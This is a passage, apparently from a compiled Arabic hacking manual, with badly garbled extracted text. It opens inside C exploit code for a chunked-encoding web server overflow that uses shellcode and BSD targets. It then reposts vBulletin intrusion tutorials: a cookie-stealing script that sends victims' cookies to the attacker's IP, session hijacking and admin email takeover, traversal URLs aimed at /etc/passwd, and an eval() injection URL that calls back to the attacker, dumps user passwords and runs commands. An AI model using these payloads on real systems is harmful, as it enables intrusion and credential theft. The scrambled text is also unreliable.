printf(\\\"Repeating the return address %d times\\\\n\\\", ;(victim.repretaddr ;break :'\\case \\'z ;(victim.repzero = atoi(optarg printf(\\\"Number of zeroes will be ;(%d\\\\n\\\", victim.repzero ;break :'\\case \\'o ;++bruteforce } (switch(*optarg :'\\case \\'f ;"\\\victim.type = \\\"FreeBSD 823<br /> <br /> ;victim.retaddr = 0x80a0000 ;victim.delta = -150 ;victim.repretaddr = 6 ;victim.repzero = 36 ;break :'\\case \\'o ;"\\\victim.type = \\\"OpenBSD ;victim.retaddr = 0x80000 ;victim.delta = -146 ;victim.repretaddr = 6 ;victim.repzero = 36 ;break :'\\case \\'n ;"\\\victim.type = \\\"NetBSD ;victim.retaddr = 0x080e0000 ;victim.delta = -90 ;victim.repretaddr = 5 ;victim.repzero = 42 ;break 824<br /> <br /> :default printf(\\\"[-] Better luck next ;("\\\time!\\\\n ;break { ;break /* optional stuff */ :'\\case \\'w ;(sc_timeout = atoi(optarg printf(\\\"Waiting maximum %d seconds for replies from ;(shellcode\\\\n\\\", sc_timeout ;break :'\\case \\'c ;cmdz = optarg ;break :default ;()usage ;break 825<br /> <br /> { { if(!victim.delta || !victim.retaddr || ! (victim.repretaddr || !victim.repzero } printf(\\\"[-] Incomplete target. At least 1 argument is missing (nmap ;("\\\style!!)\\\\n ;return -1 { printf(\\\"[*] Resolving target ;("\\\ ..host ;(fflush(stdout ;(he = gethostbyname(hostp (if(he ;(memcpy(&ia.s_addr, he->h_addr, 4 else if((ia.s_addr = inet_addr(hostp)) } (== INADDR_ANY printf(\\\"There\\'z no %s on this side ;(of the Net!\\\\n\\\", hostp 826<br /> <br /> ;return -1 { ;((printf(\\\"%s\\\\n\\\", inet_ntoa(ia<br /> <br /> ;(()srand(getpid ;(signal(SIGPIPE, SIG_IGN for(owned = 0, progress = 0;;victim.retaddr += } (RET_ADDR_INC /* skip invalid return adresses */ if(memchr(&victim.retaddr, 0x0a, 4) ((|| memchr(&victim.retaddr, 0x0d, 4 ;continue<br /> <br /> sock = socket(PF_INET, ;(SOCK_STREAM, 0 ;sin.sin_family = PF_INET ;sin.sin_addr.s_addr = ia.s_addr ;((sin.sin_port = htons(atoi(portp 827<br /> <br /> (if(!progress ;("\\\ ..printf(\\\"[*] Connecting ;(fflush(stdout if(connect(sock, (struct sockaddr *) } (& sin, sizeof(sin)) != 0 ;("\\\()perror(\\\"connect ;(exit(1 { (if(!progress ;("\\\printf(\\\"connected!\\\\n<br /> <br /> p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) (* REP_SHELLCODE PADSIZE_1 + (victim.repretaddr *)) + 4) + victim.repzero ;((REP_POPULATOR * (1024 + PUT_STRING(\\\"GET / 828<br /> <br /> HTTP/1.1\\\\r\\\\nHost: \\\" ;("\\\HOST_PARAM \\\"\\\\r\\\\n (++for (i = 0; i < REP_SHELLCODE; i } ;("\\\-PUT_STRING(\\\"X PUT_BYTES(PADSIZE_3, ;(PADDING_3 ;("\\\ :"\\\)PUT_STRING ;(PUT_BYTES(NOPCOUNT, NOP memcpy(p, shellcode, ;(sizeof(shellcode) - 1 ;p += sizeof(shellcode) - 1 ;("\\\PUT_STRING(\\\"\\\\r\\\\n { (++for (i = 0; i < REP_POPULATOR; i } ;("\\\-PUT_STRING(\\\"X PUT_BYTES(PADSIZE_1, ;(PADDING_1 ;("\\\ :"\\\)PUT_STRING 829<br /> <br /> } (++for (j = 0; j < victim.repretaddr; j ;p++ = victim.retaddr & 0xff* ;p++ = (victim.retaddr >> 8) & 0xff* ;p++ = (victim.retaddr >> 16) & 0xff* ;p++ = (victim.retaddr >> 24) & 0xff* { ;(PUT_BYTES(victim.repzero, 0 ;("\\\PUT_STRING(\\\"\\\\r\\\\n { PUT_STRING(\\\"Transfer-Encoding: ;("\\\chunked\\\\r\\\\n snprintf(buf, sizeof(buf) 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", ;(PADSIZE_2 ;(PUT_STRING(buf PUT_BYTES(PADSIZE_2, ;(PADDING_2 snprintf(buf, sizeof(buf) 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", ;(victim.delta 830<br /> <br /> ;(PUT_STRING(buf } (if(!shown_length printf(\\\"[*] Exploit output is %u bytes\\\\n\\\", (unsigned int)(p ;((expbuf ;shown_length = 1 { ;(write(sock, expbuf, p - expbuf ;++progress (if((progress%70) == 0 ;progress = 1 } (if(progress == 1 printf(\\\"\\\\r[*] Currently using ;(retaddr 0x%lx\\\", victim.retaddr (++ for(i = 0; i < 40; i ;("\\\ "\\\)printf ;("\\\printf(\\\"\\\\n (if(bruteforce 831<br /> <br /> ;('\\;'\\)putchar { else '\\putchar(((rand()>>8)%2)? \\'P\\': \\'p ;(<br /> <br /> ;(fflush(stdout ;responses = 0 } (while (1 ;fd_set fds ;int n ;struct timeval tv ;tv.tv_sec = sc_timeout ;tv.tv_usec = 0 ;(FD_ZERO(&fds ;(FD_SET(0, &fds ;(FD_SET(sock, &fds ;((memset(buf, 0, sizeof(buf 832<br /> <br /> if(select(sock + 1, &fds, NULL, } (NULL, owned? NULL : &tv) > 0 } ((if(FD_ISSET(sock, &fds if((n = read(sock, buf, sizeof(buf) (1)) < 0 ;break (if(n >= 1 } (if(!owned } (++ for(i = 0; i < n; i ('\\if(buf[i] == \\'G ;++ responses else ;responses = 0 (if(responses >= 2 } ;owned = 1 ;(write(sock, \\\"O\\\", 1 ;((write(sock, cmdz, strlen(cmdz printf(\\\" it\\'s a TURKEY: type=%s, 833<br /> <br /> delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\\\\n\\\", victim.type, victim.delta, victim.retaddr, victim.repretaddr, ;(victim.repzero printf(\\\"Experts say this isn\\'t exploitable, so nothing will happen ;("\\\ :now ;(fflush(stdout { else { ;(write(1, buf, n { { } ((if(FD_ISSET(0, &fds if((n = read(0, buf, sizeof(buf) - 1)) < (0 ;(exit(1 ;(write(sock, buf, n { 834<br /> <br /> { (if(!owned ;break { ;(free(expbuf ;(close(sock (if(owned ;return 0 } (if(!bruteforce fprintf(stderr, \\\"Ooops.. ;("\\\hehehe!\\\\n ;return -1 { { ;return 0 { 835<br /> <br /> ‫)) قد تم تجريبها وإتختبارها من قبل ‪angels-‬‬ ‫‪ bytes.com‬قبل وضعها لكم هنا ((‬ ‫وهذي وصلة تنزيل البرنامج‬ ‫?‪http://www.angels-bytes.com/‬‬ ‫‪show=tools&action=info&id=19‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪836‬‬<br /> <br /> ‫" حماية المنتديات "‬ ‫‪837‬‬<br /> <br /> ‫>منقول<‬ ‫الكل يعرف لغة ‪ php‬و التي يصمم بها المنتديات و‬ ‫الكل يعرف أيضا أنها مليئة بالثغرات الكبيرة‬ ‫إليك مدير أي منتدى ) ‪ ( vb‬بعض الساسيات التي‬ ‫يتم بها حماية منتداك ‪/‬‬ ‫‪ً -1‬ل و قبل كل شيء المدير العا‪.‬م ضع مديرين إثنين‬ ‫واحد تكتب فيه المشاركات و تعديل المنتدى و كل‬ ‫شيء و التخر للحتياط عندما يسرق المدير العا‪.‬م ‪.‬‬ ‫‪-2‬مي لوحة التحكم بكلمة سر أي إفتح ملف‬ ‫‪ index.php‬الموهجود بـمجلد ‪ admin‬بواسطة‬ ‫المفكرة و أضف عليه كود كلمة السر الذي هو ‪/‬‬ ‫>?‪php‬‬ ‫‪;"LOGIN = "User$‬‬ ‫‪;"PASSWORD = "Password$‬‬ ‫‪838‬‬<br /> <br /> } (function error ($error_message ".echo $error_message ;" ;exit { if ( (!isset($PHP_AUTH_USER)) || ! (($PHP_AUTH_USER == $LOGIN) && ( $PHP_AUTH_PW == } ( (( ""$PASSWORD header("WWW-Authenticate: Basic ;(""entrer="Form2txt admin header("HTTP/1.0 401 ;("Unauthorized error("<p align=right><font ‫<ليس‬face=Tahoma size=2 color=Red ;("<font></p/>‫من حقك الدتخول إلى هذه الصفحة‬ { <? ‫مع تغيير كلمتي‬ User 839<br /> <br /> ‫و‬ ‫‪Password‬‬ ‫‪-3‬غ قائمة العضاء لماذا ؟؟ مثل لو كان لديك ‪3000‬‬ ‫عضو ووضع الزائر الكريم قائمة العضاء و قعد يفحط‬ ‫به أصبح هناك ضغط كبير على المنتدى قد تسألوني‬ ‫لماذا ل نلغي قائمة البحث !! لن البحث في النسخ‬ ‫الجديدة يكون بأكثر من ثلث أحرف و بهذا لن يكون‬ ‫هناك أي ضغط ‪.‬‬ ‫‪ -4‬تكثر فتح لغة ‪ HTML‬في المنتديات أي إفتحها‬ ‫بمنتدى واحد أو إثنين فقط لوهجود الضرورة ‪ ..‬لماذا ؟؟‬ ‫لنه يوهجد كود هتمل يفسد هجميع المواضيع التي تعتمد‬ ‫على هذه اللغة ‪.‬‬ ‫‪-5‬توقيع و ما أدراك ما التوقيع ‪ .‬إهجعله فقط يخد‪.‬م‬ ‫الصور أما الفلش و الصوت فل ‪.‬‬ ‫انتهى‪،،،‬‬ ‫" اوختراق المنتديات من بنوع‬ ‫‪" vBulletin2,2,0‬‬ ‫‪840‬‬<br /> <br /> ‫>منقول<‬ ‫‪--------‬‬‫مقدمة ‪:‬‬ ‫‪--------‬‬‫الموضوع ‪ :‬اتختراق الـ ‪vBulletin‬‬ ‫المتطلبات ‪) WebServer :‬تركيب سيرفر على‬ ‫هجهازك الشخصي( ‪ +‬متصفح انترنت )اكسبلورر( ‪.‬‬ ‫المستوى ‪ :‬متوسط‬ ‫ملحظة ‪ :‬هذه الطريقة لست للـ ‪ vBulletin‬فقط !!‬ ‫يمكن ان تجربها على انواع اتخرى من المنتديات ‪.‬‬<br /> <br /> ‫‪---------‬‬‫الثغرة ‪:‬‬ ‫‪--------‬‬‫تنقسم طريقة العمل الى عدة اقسا‪.‬م ‪ ..‬أول بعض‬ ‫السكربتات الخبيثة التي تسرق الكوكيز بالضافة الى‬ ‫‪841‬‬<br /> <br /> ‫هجعل المنتدى يستقبل‬ ‫بيانات من مكان تخاطيء ‪ ..‬لكن يشترط ان يسمح‬ ‫المنتدى بأكواد الـ ‪.. HTML‬‬ ‫قم بكتابة موضوع هجديد او رد )في منتدى يدعم الـ‬ ‫‪ .. ( HTML‬ثم اكتب اي موضوع والصق بين‬ ‫السطور هذا الكود ‪:‬‬ ‫>‪script>document.write('<img‬‬ ‫‪src="http://my_ip_address/'+docum‬‬ ‫‪<ent.cookie+'">';</script‬‬ ‫مع ملحظة تغير الـ ‪ IP Adress‬الى رقم الـ ‪IP‬‬ ‫الخاص بك ‪.‬‬ ‫وعندما يقو‪.‬م شخص ما بقراءة محتوى الصفحة فان‬ ‫السكربت الذي قمنا بوضعه سيقو‪.‬م بتنفيذ الوامر في‬ ‫هجهاز وقراءة هجزء‬ ‫من احد ملفات الكوكيز التي تحتوي على الباسورد‬ ‫الخاصة بالمنتدى ‪ ..‬ثم يقو‪.‬م السكربت بتحويل هذه‬ ‫السطور الى رقم‬ ‫الي بي الذي قمنا بكتابته سابقا )مع ملحظة انه يجب‬ ‫ان يكون على هجهازي سيرفر مثل ‪ IIS‬او ‪Apache‬‬ ‫‪842‬‬<br /> <br /> ‫او غيرها ( ‪.‬‬ ‫وبعد ان تتم العملية بنجا ح قم بفتح ملف الـ ‪Log‬‬ ‫الخاص بالسيرفر الذي يحتويه هجهازك ‪..‬‬ ‫مثال لو كان السيرفر اباتشي ‪ ..‬فتا ح المجلد ‪Apche‬‬ ‫واتختر ‪ logs‬واتختر ‪. Acces Log‬‬ ‫ستجد هجميع الوامر التي طلبتها من السيرفر ‪ ..‬إلخ‬ ‫ابحث عن الكود الخاص بالباسورد ‪ ..‬مثال ‪:‬‬ ‫‪GET/‬‬ ‫‪bbuserid=86;%20bbpassword=dd61‬‬ ‫‪69d68822a116cd97e1fb‬‬ ‫‪ddf90622;%20sessionhash=a‬‬ ‫‪4719cd620534914930b86839c4bb5f8‬‬ ‫‪;%20bbthreadview[54‬‬ ‫‪%20bblastvi;1012444064=[20‬‬ ‫‪sit=1011983161‬‬ ‫فكر قليل الن ‪ ..‬اين الباسورد ؟؟‬ ‫‪843‬‬<br /> <br /> ‫الباسورد موهجودة لكن بطريقة مشفرة يصعب كسرها‬ ‫‪ ..‬اذن مالحل ؟‬ ‫قم بنسخ الكود الذي وهجدته والصقه في المتصفح ‪..‬‬ ‫بهذا الشكل‬ ‫‪http://www.victim.com/vb/index.php‬‬ ‫?‬ ‫‪bbuserid=[userid]&bbpassword=[pa‬‬ ‫‪[ssword hash‬‬ ‫ستجد عبارة ‪ " :‬أهل بعودتك يـا ) اسم الذي سرقت‬ ‫منه الكوكيز‪" (....‬‬ ‫في هذه الحالة انت الن تستطيع التحكم بكل شي وكانك‬ ‫مدير المنتدى )الذي سرقت منه الكوكيز( ‪..‬‬ ‫لكننا نحتاج الى كلمة المرور للدتخول الى لوحة التحكم‬ ‫‪ ..‬اذهب الى )التحكم( وقم بتعديل البريد اللكتروني الى‬ ‫بريدك الخاص‬ ‫وثم قم بتسجيل الخروج ‪ ..‬ثم اذهب الى اداة ‪Forgot‬‬ ‫‪ .. Password‬وعندها تستطيع استقبال بريد‬ ‫يحتوي باسورد الدمن ‪..‬‬ ‫اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادتخل الى‬ ‫لوحة التحكم وافعل ما تشاء ‪! ..‬‬ ‫‪844‬‬<br /> <br /> ‫‪-----------‬‬‫الحل‬ ‫‪----------‬‬‫للحماية من هذه الثغرة قم باغلق الـ ‪ HTML‬في‬ ‫)المنتدى ‪ +‬الرسائل الخاصة ‪ +‬التواقيع ‪ +‬التقويم‬ ‫‪( ... +‬‬ ‫)واي منفذ يمكن من تخلله وضع كود ‪ HTML‬باي‬ ‫صورة كانت (‬ ‫كما يجب اغل كود الـ ‪ .. IMG‬لنه ببساطة بامكانك‬ ‫استخدامه بدل كلمة >‪ &lt;script‬فاذا وضعت >‬ ‫‪ <img‬او >‪ <Demon‬او‬ ‫اي كلمة اتخرى فانه سيتم تنفيذ السكربت بشكل او‬ ‫باتخر ‪ ...‬لذا كن حذرا واغلق هذه المنافذ ‪.‬‬ ‫‪. Be Secret .. Dont' be Lamer‬‬ ‫تاريخ اكتشاف الثغرة ‪2002 - 1 - 31 :‬‬ ‫تم تجربتها على الصدار ‪ 2.2.0‬وهي تعمل بنجا ح ‪.‬‬ ‫انتهى‪،،،‬‬ ‫‪845‬‬<br /> <br /> ‫"درس مفصل عن كيفية اوختراق‬ ‫المنتديات وطرق حمايتها"‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬العقرب الحمر<‬ ‫الدرس يتكون من ‪ 7‬نقاط‬ ‫‪ 1‬المنتديات وانواعه‬ ‫‪846‬‬<br /> <br /> ‫‪2‬طريقة اتختراقه‬ ‫‪ 3‬أتختراق الــــ ‪SQL‬‬ ‫‪4‬سرفرات الويندوز ودوره في اتختراق المنتديات‬ ‫‪ 5‬النسخه المنتشره في النت ودور المعربين العرب‬ ‫وحقيقة الموضوع وتعريبهم‬ ‫‪6‬الحمايه من المخترقين بنسبة ‪ %80‬لاهجهزتكم‬ ‫ومنتدياتكم‬ ‫‪ 7‬المجله بجميع نسخه قابل لالختراق‬ ‫الدروس هجميعها بالصورة وحقائق ودلئل‬ ‫قمت بتجميع الدروس والضافتة عليه وتعديله‬ ‫‪%100‬‬ ‫ارهجو عد‪.‬م نقل الدروس وكوبي‬<br /> <br /> ‫****************‬ ‫‪ 1‬المنتديات وانواعه‬<br /> <br /> ‫‪847‬‬<br /> <br /> ‫المنتديات اول منتديات هجون ‪Powered by:‬‬ ‫‪ vBulletin‬بجميع اصداراته‬ ‫‪ 1‬لماذا لم يخترق احدي منتداهم حتي الن‬ ‫‪2‬اليوهجد لهم مليون عدو‬ ‫‪ 3‬اليخترقون عشرات المنتديات يوميا ولماذا ليس‬ ‫منتدي هجون وحمايته تصل الي ‪ %60‬في السرفر‬<br /> <br /> ‫تفضل هذا ثغرات بموقعهم اشوي شغل كمان تصل‬ ‫لقلبهم لاريد التطويل الن بس مثال لمن يفهمه‬ ‫?‪http://www.vbulletin.org/index.php‬‬ ‫‪topic=&lt;script>alert(document.cooki‬‬ ‫‪<e)</script‬‬ ‫‪2‬‬ ‫|?‪http://www.vbulletin.org/index.php‬‬ ‫‪=forum/view.php&topic=../../../../../../..‬‬ ‫‪/etc/passwd‬‬<br /> <br /> ‫‪848‬‬<br /> <br /> ‫********************‬ ‫طريقة اتختراقه‬ ‫هجميع الصدارات‬ ‫فلنبدي من صفر نسخة ‪ 113‬بتذكرو يمكن بعضكم‬ ‫كلنا نعرف منتديات الفي بي ‪ ،‬وهذا النوع من‬ ‫المنتديات يحب يركبه قليلين الخبره في أغلب الحيان‬ ‫‪ ،‬وهذا المنتدى هو المعروف عندنا العرب بكثره‬ ‫الول اللي كتبته الفرنسي )على ما أعتقد( ‪Jouko‬‬ ‫‪Pynnonen‬‬ ‫)‪vBulletin (http://www.vbulletin.com/‬‬ ‫‪is a commonly used web forum‬‬ ‫‪system written in PHP. One of its‬‬ ‫‪,key features is use of templates‬‬ ‫‪which allow the board administrator‬‬ ‫‪to dynamically modify the look of‬‬ ‫‪.the board‬‬ ‫‪849‬‬<br /> <br /> vBulletin templates are parsed with the eval() function. This could be somewhat safe as long as the parameters to eval() are under strict control. Unfortunately this is where vBulletin fails. With an URL crafted in a certain way, a remote user may control the eval() parameters and inject arbitrary PHP code to be .executed A remote user may thus execute any PHP code and programs as the web server user, typically "nobody", start an interactive shell and try to elevate their privilege. The configuration files are accessible for the web server so the user can in any 850<br /> <br /> case access the MySQL database containing the forums and user .information According to the authors the vulnerability exist in all versions of vBulletin up to 1.1.5 and 2.0 beta 2. The bug does not involve buffer overrun or other platformdependant issues, so it's presumably exploitable under any OS or .platform<br /> <br /> DETAILS ======= vBulletin templates are implemented in the following way: the gettemplate() function in global.php 851<br /> <br /> is used to fetch a template from database. The code is then passed to eval(). If we take index.php for :an example, there's this code<br /> <br /> } ("if ($action=="faq eval("echo ;(";("\".("dovars(\"".gettemplate("faq {<br /> <br /> The dovars() function does some variable replacing, such as replace .<"largefont> with <font size="10> The gettemplate() function is :defined in global.php<br /> <br /> function 852<br /> <br /> gettemplate($templatename, } ($escape=1 gets a template from the db or // from the local cache ;global $templatecache,$DB_site ![if ($templatecache[$templatename } (""= $ template=$templatecache[$template ;[name } else { gettemp=$DB_site-$ >query_first("SELECT template FROM template WHERE title='". ;("'".(addslashes($templatename ;[template=$gettemp[template$ $ templatecache[$templatename]=$te ;mplate { 853<br /> <br /> } (if ($escape==1 template=str_replace("\"","\\\"",$ ;($template { ;return $template {<br /> <br /> For effectiveness the function implements a simple cache for template strings. After fetching them from the database they're stored in the templatecache[] array. This array is checked for the template before doing the SQL query. Unfortunately the array is never initialized, so a user can pass array contents in .the URL, e.g (for simplicity not %-escaped) 854<br /> <br /> http://www.site.url/index.php? action=faq&templatecache[faq]=hell o+world With this URL, you won't get the FAQ page, but just a blank page ."with the words "hello world The eval() call above will execute ;("echo dovars("hello world As if this wouldn't be bad enough, a remote user may as well pass a value containing quotation marks and other symbols. Quotation marks aren't always escaped as seen in the code above, in which case index.php could end up executing code like 855<br /> <br /> ;("echo dovars("hello"world This would produce a PHP error message due to unbalanced quotes. It doesn't take a rocket scientist to figure out how a remote user could execute arbitrary code from here, so further details about exploitation aren't necessary. If your vBulletin board produces an error message with an URL like the one above prefixed with a single quotation ,mark .it's definitely vulnerable The above example works with the "Lite" version. The commercial versions are vulnerable too, but details may differ. After a little experimenting on the Jelsoft's test site I found 856<br /> <br /> some of the commercial versions also have an eval() problem with URL .redirecting, e.g http://www.site.url/member.php? acti...ypass&url=hello"world and a similar one in the Lite :version http://www.site.url/search.php? acti...s&templatecache[standardredi rect]=hello"world<br /> <br /> ‫م هذا‬.‫ من الكل‬، ‫م هذا ول داعي لترهجمه‬.‫تعرفون الكل‬ ، ‫ تنفذ في السيرفر‬url ‫أنت ممكن ترسل أكواد تخلف‬ ‫ هجرب‬، ‫ الغبيه‬hello+world ‫تضعها بدل الكلمه‬ 857<br /> <br /> : ‫مثل‬ ‫ ركب في هجهازك ملقم ويب أي ملقم تحبه ممكن‬-1 vb 113 or 115 ‫تركب عليه‬ ‫ عندك في هجهازك )طريقه فتح‬90 ‫ أفتح البورت‬-2 (‫البورت تكون على مجازك‬ ‫ هذا الى السيرفر‬url ‫ أرسل الـ‬-3 search.php3? action=simplesearch&query=search this&templatecache[standardredire ct]="%29%3B%24fa="< %261";set_time_limit(substr("900",0 ,3)); %24fp=fsockopen(substr("IP.IP.IP.I P",0,12),substr("90",0,2), %26%24errno, %26%24errstr,substr("900" ,0,3));if(! %24fp) {}else{%24arr[200];fputs(%24fp,su bstr("vhak1.0,%20- d%20downloads 858<br /> <br /> %20database,or%20press%20return %20for %20command%20line" ,0,63)); %24va=fgets(%24fp,3);fputs(%24fp, %24va);if strlen(%24va)>1)) {include(substr("admin/config.php", 0,16));include(substr("admin/config. php3",0,17));mysql_connect(substr( "%24servername",0,strlen(%24serv ername)),substr("%24dbusername", 0,strlen(%24dbusername)),substr(" %24dbpassword" , 0,strlen(%24dbpassword))); %24currenta=mysql_db_qu ery(substr("%24dbname",0,strlen(% 24dbname)),substr("select%20* %20from%20user" , 0,18));while(%24res=mysql_fetch_ar 859<br /> <br /> ray%20(%24curre nta)) {fputs(%24fp,"%24res[userid],");fpu ts(%24fp,"%24res[usergroupid],");fp uts(%24fp,"%24res[password],");fp uts(%24fp,"%24res %24arr); %24str=exec(fgets(%24fp,substr("1 28",0,3)), %24arr);for(%24ir=substr("0",0,1); %24ir< sizeof(%24arr);%24ir%2B %2B){fputs(%24fp,%24arr[%24 ir]);fputs(%24fp, _%24va);}}fclose(%24fp);}die(vhak "finished_execution);echo%28 By Kill -9 ‫ هذه تحط مكانها رقم الي بي‬IP.IP.IP.IP ‫لحظ‬ 860<br /> <br /> ‫حقك ‪ ،‬ثم الحظ بعدها وهجود الرقم ‪ 12‬وهذا تغيرها‬ ‫على طول رقم الي بي ‪ ،‬مثل ‪ 127.0.0.1‬يكون‬ ‫طوله ‪9‬‬ ‫ممكن أنت تخترع كود ثاني وترسله وتلحظ أنه يتنفذ‬ ‫‪ ،‬ممكن ترسل كود يسجل لك أدمين ‪ ،‬هذا مثل ما صار‬ ‫في ‪) arabteam2000.com‬أصدقائي طبعا( من‬ ‫باب التنبيه ‪ ،‬وكمان صار في ‪ c4arab.com‬و‬ ‫طريق السل‪.‬م و الثقافه ‪...‬وكثير من المنتديات ‪،‬‬ ‫بهدف التحذير وليس التخريب ‪ ،‬وواضح أنه عمل‬ ‫بسيط يحتاج لشويه من التفكير ‪ ،‬أعتقد أهليز زمان‬ ‫صار فيه ‪ ،‬ولكن مسحت الداتالبيس وهذا سهل للغايه‬ ‫طريقه قديمه نوعا ما ‪ ،‬وحطيتها للي حب يجرب فقط‬ ‫!!‬ ‫وأعذروني على الملء والنحو‬ ‫ملحظه أتخيره ‪ :‬وهي عند ما تشبك مع السيرفر عن‬ ‫طريق البورت ‪ 90‬أرسل‬ ‫‪d downloads‬‬‫تنزل لك الداتبيس كلها ‪ ،‬وللسف طلعت غير مشفره‬ ‫‪861‬‬<br /> <br /> ‫وهذا يدل على التخلف ‪ ،‬ولكن في الصداره ‪2.2x‬‬ ‫شفرت ولكن كسرتها وقريبا أقول لك عنها‬<br /> <br /> ‫تم شر ح طريقة التختراق من ‪ 113‬الي ‪11‬‬<br /> <br /> ‫طريقة اتختراق من ‪ 115‬الي ‪225‬‬<br /> <br /> ‫المتطلبات ‪) WebServer :‬تركيب سيرفر على‬ ‫هجهازك الشخصي( ‪ +‬متصفح انترنت )اكسبلورر( ‪.‬‬ ‫المستوى ‪ :‬متوسط‬ ‫ملحظة ‪ :‬هذه الطريقة لست للـ ‪ vBulletin‬فقط !!‬ ‫يمكن ان تجربها على انواع اتخرى من المنتديات ‪.‬‬<br /> <br /> ‫‪---------‬‬‫الثغرة ‪:‬‬ ‫‪--------‬‬‫‪862‬‬<br /> <br /> ‫تنقسم طريقة العمل الى عدة اقسا‪.‬م ‪ ..‬أول بعض‬ ‫السكربتات الخبيثة التي تسرق الكوكيز بالضافة الى‬ ‫هجعل المنتدى يستقبل‬ ‫بيانات من مكان تخاطيء ‪ ..‬لكن يشترط ان يسمح‬ ‫المنتدى بأكواد الـ ‪.. HTML‬‬ ‫قم بكتابة موضوع هجديد او رد )في منتدى يدعم الـ‬ ‫‪ .. ( HTML‬ثم اكتب اي موضوع والصق بين‬ ‫السطور هذا الكود ‪:‬‬ ‫>‪script>document.write('<img‬‬ ‫‪src="http://my_ip_address/'+docum‬‬ ‫‪<ent.cookie+'">';</script‬‬ ‫مع ملحظة تغير الـ ‪ IP Adress‬الى رقم الـ ‪IP‬‬ ‫الخاص بك ‪.‬‬ ‫وعندما يقو‪.‬م شخص ما بقراءة محتوى الصفحة فان‬ ‫السكربت الذي قمنا بوضعه سيقو‪.‬م بتنفيذ الوامر في‬ ‫هجهاز وقراءة هجزء‬ ‫من احد ملفات الكوكيز التي تحتوي على الباسورد‬ ‫الخاصة بالمنتدى ‪ ..‬ثم يقو‪.‬م السكربت بتحويل هذه‬ ‫‪863‬‬<br /> <br /> ‫السطور الى رقم‬ ‫الي بي الذي قمنا بكتابته سابقا )مع ملحظة انه يجب‬ ‫ان يكون على هجهازي سيرفر مثل ‪ IIS‬او ‪Apache‬‬ ‫او غيرها ( ‪.‬‬ ‫وبعد ان تتم العملية بنجا ح قم بفتح ملف الـ ‪Log‬‬ ‫الخاص بالسيرفر الذي يحتويه هجهازك ‪..‬‬ ‫مثال لو كان السيرفر اباتشي ‪ ..‬فتا ح المجلد ‪Apche‬‬ ‫واتختر ‪ logs‬واتختر ‪. Acces Log‬‬ ‫ستجد هجميع الوامر التي طلبتها من السيرفر ‪ ..‬إلخ‬ ‫ابحث عن الكود الخاص بالباسورد ‪ ..‬مثال ‪:‬‬ ‫‪GET/‬‬ ‫‪bbuserid=86;%20bbpassword=dd61‬‬ ‫‪69d68822a116cd97e1fb‬‬<br /> <br /> ‫‪ddf90622;%20sessionhash=a‬‬ ‫‪4719cd620534914930b86839c4bb5f8‬‬ ‫‪;%20bbthreadview[54‬‬ ‫‪864‬‬<br /> <br /> ‫‪%20bblastvi;1012444064=[20‬‬ ‫‪sit=1011983161‬‬ ‫فكر قليل الن ‪ ..‬اين الباسورد ؟؟‬ ‫الباسورد موهجودة لكن بطريقة مشفرة يصعب كسرها‬ ‫‪ ..‬اذن مالحل ؟‬ ‫قم بنسخ الكود الذي وهجدته والصقه في المتصفح ‪..‬‬ ‫بهذا الشكل‬ ‫‪http://www.victim.com/vb/index.php‬‬ ‫?‬ ‫‪bbuserid=[userid]&bbpassword=[pa‬‬ ‫‪[ssword hash‬‬ ‫ستجد عبارة ‪ " :‬أهل بعودتك يـا ) اسم الذي سرقت‬ ‫منه الكوكيز‪" (....‬‬ ‫في هذه الحالة انت الن تستطيع التحكم بكل شي وكانك‬ ‫مدير المنتدى )الذي سرقت منه الكوكيز( ‪..‬‬ ‫لكننا نحتاج الى كلمة المرور للدتخول الى لوحة التحكم‬ ‫‪ ..‬اذهب الى )التحكم( وقم بتعديل البريد اللكتروني الى‬ ‫بريدك الخاص‬ ‫‪865‬‬<br /> <br /> ‫وثم قم بتسجيل الخروج ‪ ..‬ثم اذهب الى اداة ‪Forgot‬‬ ‫‪ .. Password‬وعندها تستطيع استقبال بريد‬ ‫يحتوي باسورد الدمن ‪..‬‬ ‫*******************‬ ‫‪ 3‬أتختراق الــــ ‪SQL‬‬ ‫يمكنك استخدا‪.‬م برنامج العقرب بيكون اسرع لمن لديه‬ ‫نسخ منه‬ ‫س ‪:‬في البداية ماهي الس كيو ال ) ‪( SQL‬؟؟‬ ‫الس كيو ال هي عبارة عن قاعد بيانات تحتوي على‬ ‫هجداول واغلب المواقع التي تكون صفحاتها منتهية ب‬ ‫‪ ASP‬هي صفحات تسحب بياناتها‬ ‫من قاعدة ‪ SQL‬وصفحات ‪ ASP‬ممكن ان تكون كنز‬ ‫من المعلومات لتختراق قواعد بيانات ‪ SQL‬وهذا‬ ‫ماسوف اشير اليه لحقا ‪ ،‬و ‪SQL‬‬ ‫تتنصت على البورت ‪1433‬‬ ‫ايضا مااريد ان اتخبرك به ان ال ‪ SQL‬قد تحتوي على‬ ‫اكثر من قاعدة بيانات وكل قاعدة بيانات تحتوي على‬ ‫‪866‬‬<br /> <br /> ‫عدد من الجداول يمكن‬ ‫ان تتصور كبرقواعد بيانات ‪ SQL‬والعدد الكبير من‬ ‫البيانات التى تحتويها ‪.‬‬ ‫س ‪ :‬مالذي يمكن ان استفيد منه اذا اتخترقت قاعدة‬ ‫بيانات ‪ SQL‬؟‬ ‫هذا على حسب نشاط الموقع اذا كان هذا الموقع‬ ‫منتدى ل اقصد منتديات ‪ PHP‬بل منتديات ‪ ASP‬في‬ ‫الغالب سوف تحصل على هجميع اسماء‬ ‫المستخدمين وكلمات السر وبامكانك تعديل وحذف اي‬ ‫موضوع وصلحيات لم تكن تحلم بها ‪ ،‬اما اذا كان‬ ‫الموقع يحتوي على ميزة‬ ‫قائمة المراسلت فسوف تحصل على اعداد تخيالية من‬ ‫اليميلت ‪ ،‬عندها قم بانشاء شركة للدعاية والعلن‬ ‫وسوف تصبح ثريا اذن لتنسى ‪_LinuxRay‬‬ ‫توقع ان تجد اي شئ داتخل قواعد بيانات معلومات‬ ‫اشخاص ‪ -‬ارقا‪.‬م هواتف ‪ -‬عناوين ‪ -‬تورايخ الميلد ‪،‬‬ ‫ممكن ان تصبح ‪. Administrator‬‬<br /> <br /> ‫اعرف انه قد اصابك الملل الن لكن استعد نشاطك من‬ ‫هجديد 